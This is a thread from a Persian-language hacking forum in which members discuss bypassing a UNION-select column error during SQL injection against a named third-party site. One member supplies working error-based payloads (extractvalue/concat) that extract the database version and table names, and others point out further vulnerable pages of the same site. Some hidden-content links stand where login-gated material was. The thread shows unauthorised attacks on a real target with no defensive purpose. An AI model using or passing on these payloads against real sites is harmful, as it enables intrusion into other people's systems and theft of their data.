Bypass SQL

[Vendetta]

سلام خدمت اعضای محترم گارد ایران

من سایتی رو داشتم بایپس میکردم بعد از Union Select با ارور Data Base Query Failed The Used Select Statements Have A Diffrent Number Of Columns مواجه شدم اگر کسی از شیوه بایپسش مطلع هست ممنون میشم کمک کنه

[k.shadow]

درود

ببینید این ارور رو میشه از طریق بایپسهای عادی بایپس کرد اگه نشد از قسمت های دیگه سایت

خیلی ساده توضیح بدم :

1_ بایپس عادی

2_ اگه باگ سایتتون مثلا این قسمتش باشه news.php?id=

شما برید یک قسمت دیگه مثلا: index.php?id=

3_ارور بیس همیشه اینارو بایپس میکنه و همینطور تایم بیس ولی اگه یونیون منظورتون هست بایپس نشد تارگت رو بدید بررسی کنیم

This is the hidden content, please

• ورود
• یا
• ثبت نام

/emoticons/smile@2x.png 2x" width="20" height="20" />

پیروز باشید .......

[Vendetta]

nightgallery.ca/event.php?id=91

تعداد ستون ها 10 تاست همون یونیون سلکت رو ارور میده

[k.shadow]

تارگت

به راحتی توسط xpath injection اینجکت میشه

This is the hidden content, please

• ورود
• یا
• ثبت نام

and extractvalue(rand(),concat(0x7e,(select @@version)))

تیبل نیم ها

This is the hidden content, please

• ورود
• یا
• ثبت نام

and extractvalue(rand(),concat(0x7e,(select table_name from information_schema.tables limit 0,1)))

[sivas]

یه صفحه دیگشم باگ داره 

This is the hidden content, please

• ورود
• یا
• ثبت نام

اون صفحه هم فکر کنم ارور بیسد داره

[amir1111]

سلام به همه ی اعضا و مدیر گرامی ببخشید من یکی رو میشناسم سایتی رو که ir  و یا comهستش رو به راحتی میتونی هک کنه درعرض 41ثانیه اونم  التماسشم کردم گفتم یاد بده نداد بعد من برنامه اکانتکس چیه ریختم ولی اونم کلید مجوز و پورت هاست میخواد ونمیدونم چیکارکنم میخواستم اگه میشه اموزشم بدید مرسی ممنون امیرهستم

[k.shadow]

سلام به همه ی اعضا و مدیر گرامی ببخشید من یکی رو میشناسم سایتی رو که ir  و یا comهستش رو به راحتی میتونی هک کنه درعرض 41ثانیه اونم  التماسشم کردم گفتم یاد بده نداد بعد من برنامه اکانتکس چیه ریختم ولی اونم کلید مجوز و پورت هاست میخواد ونمیدونم چیکارکنم میخواستم اگه میشه اموزشم بدید مرسی ممنون امیرهستم

درود

ببیند دیگه کشک که نیست هر سایت .ir یا .com رو هک کنه

اگر نه دیگه تا الان سایتی بالا نمیومد

بهش بگید خیلی گندهس بره اینو هک کنه

This is the hidden content, please

• ورود
• یا
• ثبت نام

یا .com :

This is the hidden content, please

• ورود
• یا
• ثبت نام

.

بعدشم تو بخش خودش سوالات رو بپرسید

This is the hidden content, please

• ورود
• یا
• ثبت نام

/emoticons/smile@2x.png 2x" width="20" height="20" />

پیروز باشید ..........